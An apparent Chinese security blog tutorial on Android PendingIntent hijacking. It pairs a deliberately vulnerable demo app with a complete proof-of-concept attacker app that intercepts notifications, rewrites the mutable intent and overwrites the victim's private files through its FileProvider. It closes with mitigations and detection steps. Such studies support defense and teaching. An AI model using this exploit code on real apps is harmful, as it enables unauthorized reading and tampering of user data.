PendingIntent劫持导致app任意文件读写漏洞

前言

本文将在 Android 12 系统上基于一个具体的 Demo 实例程序和 POC 利用程序,来介绍 Android 系统一种典型的攻击模式—— Pending 劫持导致 Intent 重定向、或者非法获取受害者 APP 应用的 FileProvider 读写权限(可形成命令执行漏洞)。

PendingIntent

在 Android 中,我们常常使用 PendingIntent 来表达一种 “留待日后处理” 的意思。比如说我们常见的 “应用通知” 就是一种典型的 PendingIntent,APP 发送 PendingIntent 后并非立马拉起目标 Activity 或 Service 等组件,而是安静地躺在系统通知栏,等待用户去主动点击通知后触发最终所要拉起的 Intent。

基础概念与用法

PendingIntent 可以看作 Intent 的高级版本,实现了一种委托授权发送 Intent 进行组件间通信的机制。从这个角度来说,PendingIntent 可以被理解为一种特殊的异步处理机制。这种异步处理常常是要跨进程执行的。比如说 A 进程作为发起端,它可以从系统 “获取” 一个 PendingIntent,然后 A 进程可以将 PendingIntent 对象通过 binder 机制 “传递” 给 B 进程,再由 B 进程在未来某个合适时机,“回调” PendingIntent 对象的 send () 动作,完成激发。

在 Android 系统中,最适合做集中性管理的组件就是 AMS(Activity Manager Service),所以它义不容辞地承担起管理所有 PendingIntent 的职责。这样我们就可以画出如下示意图:
在这里插入图片描述
注意其中的第 4 步 “递送相应的 intent”,这一步递送的 intent 是从何而来的呢?简单地说,当发起端获取 PendingIntent 时,其实是需要同时提供若干 intent 的。这些 intent 和 PendingIntent 只是配套的关系,而不是聚合的关系,它们会被缓存在 AMS 中。日后,一旦处理端将 PendingIntent 的 “激发” 语义传递到 AMS,AMS 就会尝试找到与这个 PendingIntent 对应的若干 intent,并递送出去。

我们先要理解,所谓的 “发起端获取 PendingIntent” 到底指的是什么?难道只是简单 new 一个 PendingIntent 对象吗?当然不是。此处的 “获取” 动作其实还含有向 AMS “注册” intent 的语义。在 PendingIntent.java 文件中,我们可以看到有如下几个比较常见的静态函数:

public static PendingIntent getActivity(Context context, int requestCode, Intent intent, int flags)
public static PendingIntent getBroadcast(Context context, int requestCode, Intent intent, int flags)
public static PendingIntent getService(Context context, int requestCode, Intent intent, int flags)
public static PendingIntent getActivities(Context context, int requestCode, Intent[] intents, int flags)
public static PendingIntent getActivities(Context context, int requestCode, Intent[] intents, int flags, Bundle options)

它们就是我们常用的获取 PendingIntent 的动作了。

存在的安全风险

App 可以使用 getActivity、getBroadcast、getService 等 API 向 Android 系统申请一个 PendingIntent 对象,例如在函数 getActivity :

public static PendingIntent getActivity(Context context, int requestCode, Intent intent, int flags)

中,intent 参数构成了所⽣成 PendingIntent 对象的 base Intent,而在此特定的 getActivity 函数中,该 base Intent 应该用于打开 Activity,否则⽆意义。后⾯的 flags 参数决定了 PendingIntent 的行为,例如 FLAG_IMMUTABLE 就⽤于规定 base Intent 不能被改写。

接下来,这个 PendingIntent 对象可以发送给其他 App 使用,其他 App 调用 PendingIntent.send 时,就能够以 PendingIntent 源 App 的身份和权限发送 PendingIntent 中的 base Intent。其他 App 甚至还可以提供一个新的 Intent,对 base Intent 进行改写。

在这里插入图片描述
因此, App A 将 PendingIntent 交给 App B,就意味着将自己的身份与权限连同要做的事情委托给了 App B, 这个事情由 PendingIntent 中的 base Intent 指定。

如果恶意 App 有能力获取上述通信过程中的 PendingIntent,就可能以源 App 的身份和权限发送修改后的 base Intent,造成非预期的安全后果,这就是 PendingIntent 面临的安全风险。

Demo漏洞程序

多说无益,下面编写一个漏洞实例 Demo,并提供 POC 程序对存在漏洞的 APP 进行 PendingIntent 劫持攻击。

发送app应用通知

创建漏洞程序 com.bwshen.test,在 MainActivity 调用 PendingIntent 往通知栏发送 “天气预报” 通知:

public class MainActivity extends AppCompatActivity {
    public static String TAG = "MainActivity";
    Button Button2 = (Button) findViewById(R.id.Button2);
    Button2.setOnClickListener(new View.OnClickListener() {
            @RequiresApi(api = Build.VERSION_CODES.O)
            @Override
            public void onClick(View v) {
                //Intent intent = new Intent(MainActivity.this, NotificationActivity.class);
                Intent intent = new Intent("com.bwshen.action.pengdingIntent_test");
                PendingIntent pi = PendingIntent.getActivity(MainActivity.this, 0, intent, PendingIntent.FLAG_MUTABLE);
                NotificationManager manager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
                Notification notification = new NotificationCompat.Builder(MainActivity.this,"channelid1")
                        .setContentTitle("天气预报通知")
                        .setContentText("请点击再查看通知详情~")
                        .setWhen(System.currentTimeMillis())
                        .setSmallIcon(R.mipmap.ic_launcher)
                        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher))
                        .setContentIntent(pi)
                        .setDefaults(NotificationCompat.DEFAULT_ALL)
                        .setPriority(NotificationCompat.PRIORITY_MAX)
                        .setAutoCancel(true)
                        .build();
                NotificationChannel notificationChannel = new NotificationChannel("channelid1","channelname",NotificationManager.IMPORTANCE_HIGH);
                manager.createNotificationChannel(notificationChannel);
                manager.notify(1, notification);
            }
        });
    }
}

用户点击通知栏的通知信息,将跳转到 NotificationActivity:

/**
 * 系统通知功能与PendingIntent(延迟执行的Intent)查看通知详情的示例
 */
public class NotificationActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_notification);
        Toast.makeText(this, "您已成功通过PendingIntent查看通知!", Toast.LENGTH_SHORT).show();
    }
}

效果如下图所示:

在这里插入图片描述
在这里插入图片描述

提供FileProvider

此处提供 FileProvider 的目的是为了演示后面 POC 程序借助 PendingIntent 劫持实现对 com.bwshen.test 应用沙箱文件的读写。如果读者不知道 FileProvider 是个啥概念的话,请先阅读我的另一篇文章:Android FileProvider特性与Intent重定向漏洞

此处直接在 com.bwshen.test 的 AndroidMainfest.xml 里添加如下声明即可:

<provider
      android:authorities="com.bwshen.test.fileprovider"
      android:name="androidx.core.content.FileProvider"
      android:exported="false"
      android:grantUriPermissions="true">
      <meta-data
         android:name="android.support.FILE_PROVIDER_PATHS"
         android:resource="@xml/file_paths" />
</provider>

其中 xml/file_paths.xml 定义如下:

<paths>
    <files-path name="files" path="."/>
</paths>

files-path 标签代表的是应用私有目录下的 files 路径,即:

/data/data/com.bwshen.test/files/

POC 利用程序

接下来编写 POC 程序,劫持上面 com.bwshen.test 应用发送天气预报的 PeningIntent,将其 Base Intent 从原来指定的 NotificationActivity 活动页篡改为攻击页面 AttackActivity,同时将 com.bwshen.test 应用所提供的 FileProvider 读写权限赋予 AttackActivity,从而实现对 com.bwshen.test 应用沙箱文件的非法读写。

获取通知使用权

为了拦截到系统通知栏中的通知并获取 PendingIntent 对象,POC 程序需要先获取系统 “通知使用权”。相关概念具体可参见:Android 通知监听服务、NotificationListenerService使用方式(详细步骤+源码)

1、新建项目 com.bwshen.attack,MainActivity 如下:

public class MainActivity extends AppCompatActivity {
    private static final int REQUEST_CODE = 9527;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button Button1 = (Button) findViewById(R.id.Button1);
        Button1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (!isNLServiceEnabled()) {
                    Intent intent = new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS");
                    startActivityForResult(intent, REQUEST_CODE);
                } else {
                    showMsg("通知使用权已获取!");
                    toggleNotificationListenerService();
                }
            }
        });
    }

    /**
     * 是否启用通知监听服务
     *
     * @return
     */
    public boolean isNLServiceEnabled() {
        Set<String> packageNames = NotificationManagerCompat.getEnabledListenerPackages(this);
        if (packageNames.contains(getPackageName())) {
            return true;
        }
        return false;
    }

    /**
     * 切换通知监听器服务
     */
    public void toggleNotificationListenerService() {
        PackageManager pm = getPackageManager();
        pm.setComponentEnabledSetting(new ComponentName(getApplicationContext(), NotifyService.class),
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

        pm.setComponentEnabledSetting(new ComponentName(getApplicationContext(), NotifyService.class),
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == REQUEST_CODE) {
            if (isNLServiceEnabled()) {
                showMsg("通知使用权已获取!");
                toggleNotificationListenerService();
            } else {
                showMsg("通知使用权未获取!");
            }
        }
    }

    private void showMsg(String msg) {
        Toast.makeText(this, msg, Toast.LENGTH_SHORT).show();
    }
}

以上 Button 点击事件触发的获取系统通知使用权的页面如下:

在这里插入图片描述

2、获取了通知使用权后,为了响应通知栏的事件(如通知的新增、移除等),需要创建一个特殊的服务 NotifyService, AndroidMainfest.xml 里添加如下声明:

<service
     android:name=".pendingintent.NotifyService"
     android:enabled="true"
     android:label="测试通知服务"
     android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
     <intent-filter>
          <action android:name="android.service.notification.NotificationListenerService" />
     </intent-filter>
</service>

具体代码如下:

public class NotifyService extends NotificationListenerService {
    private static String TAG = "NotifyService";

    /**
     * 发布通知
     * @param sbn 状态栏通知
     */
    @Override
    public void onNotificationPosted(StatusBarNotification sbn) {
        Log.i(TAG,"当有新通知时会回调!");
        //只监听特定应用的通知
        if("com.bwshen.test".equals(sbn.getPackageName())){
            Log.i(TAG,"监听到目标APP有新的通知!");
            PendingIntent pi = sbn.getNotification().contentIntent;
            Intent attackIntent = new Intent();
            attackIntent.setPackage("com.bwshen.attack");
            //设置Package将Intent重定向到攻击者的程序即可,无需指定目标组件,将目标组件的action设置为与原来Intent的action一致即可
            //attackIntent.setClassName("com.bwshen.attack","com.bwshen.attack.pendingintent.AttackActivity");
            //attackIntent.setComponent(ComponentName.unflattenFromString("om.bwshen.attack.pendingintent.AttackActivity"));
            //传递FileProvider读取权限,先设置想要访问的私有文件的URI
            attackIntent.setDataAndType((Uri.parse("content://com.bwshen.test.fileprovider/files/passwd.txt")),"*/*");
            // 添加FileProvider的读写flag
            attackIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            try {
                pi.send(this,0,attackIntent,null,null);
            } catch (PendingIntent.CanceledException e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 通知已删除
     * @param sbn 状态栏通知
     */
    @Override
    public void onNotificationRemoved(StatusBarNotification sbn) {
        Log.i(TAG,"当有通知被移除时会回调!");
    }
}

以上代码将自动监听通知栏是否有 com.bwshen.test 应用发送的通知,如果有的话,获取 PendingIntent 对象,修改其 Base Intent,指向 com.bwshen.attack 攻击者应用同 action(action=com.bwshen.action.pengdingIntent_test)的活动 AttackActivity,同时借助 com.bwshen.test 应用的身份将其 FileProvider 的读写权限赋予 AttackActivity。

非法读写app文件

AttackActivity 的声明如下:

<activity android:name=".pendingintent.AttackActivity">
     <intent-filter>
          <action android:name="com.bwshen.action.pengdingIntent_test" />
          <category android:name="android.intent.category.DEFAULT" />
          <data android:mimeType="*/*"
                android:scheme="content"/>
     </intent-filter>
</activity>

具体代码如下:

public class AttackActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_attack);
        try {
            OutputStream out = this.getContentResolver().openOutputStream(getIntent().getData());
            InputStream in = this.getAssets().open("test.txt");
            byte[] buffer = new byte[1024];
            int read;
            while((read = in.read(buffer)) != -1){
                out.write(buffer,0,read);
            }
            out.flush();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

攻击程序获取了 com.bwshen.test 应用 FileProvider 的读写权限后,将自身 assets 文件夹下的 test.txt 文件覆写 com.bwshen.test 应用的沙箱文件,其中 test.txt 内容如下:

在这里插入图片描述
为了演示攻击效果,往 /data/data/com.bwshen.test/files 路径 push 一个 passwd.txt 的文件:

在这里插入图片描述

最终攻击效果

最后,重新返回 com.bwshen.test 应用发送天气预报的通知,可以发现无需点击通知栏即会跳转到 AttackActivity(注意不是 NotificationActivity 了):

在这里插入图片描述

同时发现 com.bwshen.test 应用的沙箱内文件被非法篡改了:
在这里插入图片描述
以上只是简单的文件覆盖演示,如果 so 文件的覆盖,那么将有可能触发命令执行漏洞。

总结

Demo 漏洞程序中,发送的 PendingIntent 之所以能被劫持并篡改 Base Intent,有两个关键的使用不当的地方:

  1. PendingIntent 的 Flag 设置为 PendingIntent.FLAG_MUTABLE(可修改),该字段意味着其 Base Intent 可以被改写;
  2. Base Intent 使用 atction 进行隐式调用,未使用 setPackage(xxx)、setClassName(xxx) 等明确指定、限制接收方。

基于上述缺陷,显然防范 PendingIntent 劫持漏洞的方法很简单:

  1. 指定 PendingIntent 的 Flag 为 PendingIntent.FLAG_IMMUTABLE
  2. 明确使用 setPackage(xxx)、setClassName(xxx) 等设置 Base Intent 的接收方。

需要注意的是,Google 安卓安全团队对 AOSP 代码进行了全面排查,几乎修复了所有的不安全 PendingIntent。大部分的修复使用了PendingIntent.FLAG_IMMUTABLE,小部分的修复将 base Intent 设置为显式Intent。

同时对于 Target S+(Android 12) 的App,Android 系统要求开发者必须明确指定 PendingIntent 的可变性(FLAG_IMMUTABLEFLAG_MUTABLE必须使用其一),否则系统会抛出异常。这就要求开发者对自己 PendingIntent 的使用有清晰的理解,知道 PendingIntent 是否会在将来被改写。

本文参考文章

  1. 说说 PendingIntent 的内部机制
  2. PendingIntent重定向:一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解(上)
  3. PendingIntent重定向:一种针对安卓系统和流行App的通用提权方法——BlackHat EU 2021议题详解 (下)

后续还将另起文章学习、介绍 PendingIntent 的历史漏洞。

检测App中使用PendingIntent时是否有隐式Intent信息泄露风险,可以通过以下步骤进行: 1. 使用Android Studio中的Lint工具进行静态分析,检测是否使用了隐式Intent,以及是否存在隐式Intent信息泄露的风险。 2. 使用动态分析工具进行测试,模拟攻击者的行为,探测是否存在隐式Intent信息泄露的风险。 静态分析: 在Android Studio中,可以使用Lint工具进行静态分析。具体步骤如下: 1. 打开Android Studio,打开要检测的App项目。 2. 点击菜单栏中的Analyze -> Run Inspection by Name,弹出Inspection名称对话框。 3. 在Inspection名称对话框中输入“Implicit Intents”,点击OK。 4. Lint工具会自动检测项目中是否使用了隐式Intent,以及是否存在隐式Intent信息泄露的风险。如果存在风险,Lint工具会给出相应的提示和建议。 动态分析: 使用动态分析工具进行测试,可以更加全面地探测App中是否存在隐式Intent信息泄露的风险。常见的动态分析工具有AndroGuard、DroidBox、MobSF等。 以MobSF为例,具体步骤如下: 1. 安装MobSF并启动。 2. 选择要分析的App,并上传至MobSF。 3. 在App的测试页面中,选择“Dynamic Analysis”选项卡。 4. 点击“Start Analyzer”按钮,等待测试完成。 5. 在测试结果中,可以查看App中是否存在隐式Intent信息泄露的风险。 需要注意的是,动态分析测试需要在模拟器或真机环境中进行,以模拟真实的用户行为。同时,开发人员也应该在设计和实现时遵守安全开发规范,避免使用隐式Intent,以及对应用程序中的所有组件进行安全审查,确保没有存在安全漏洞或隐私泄露的风险。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值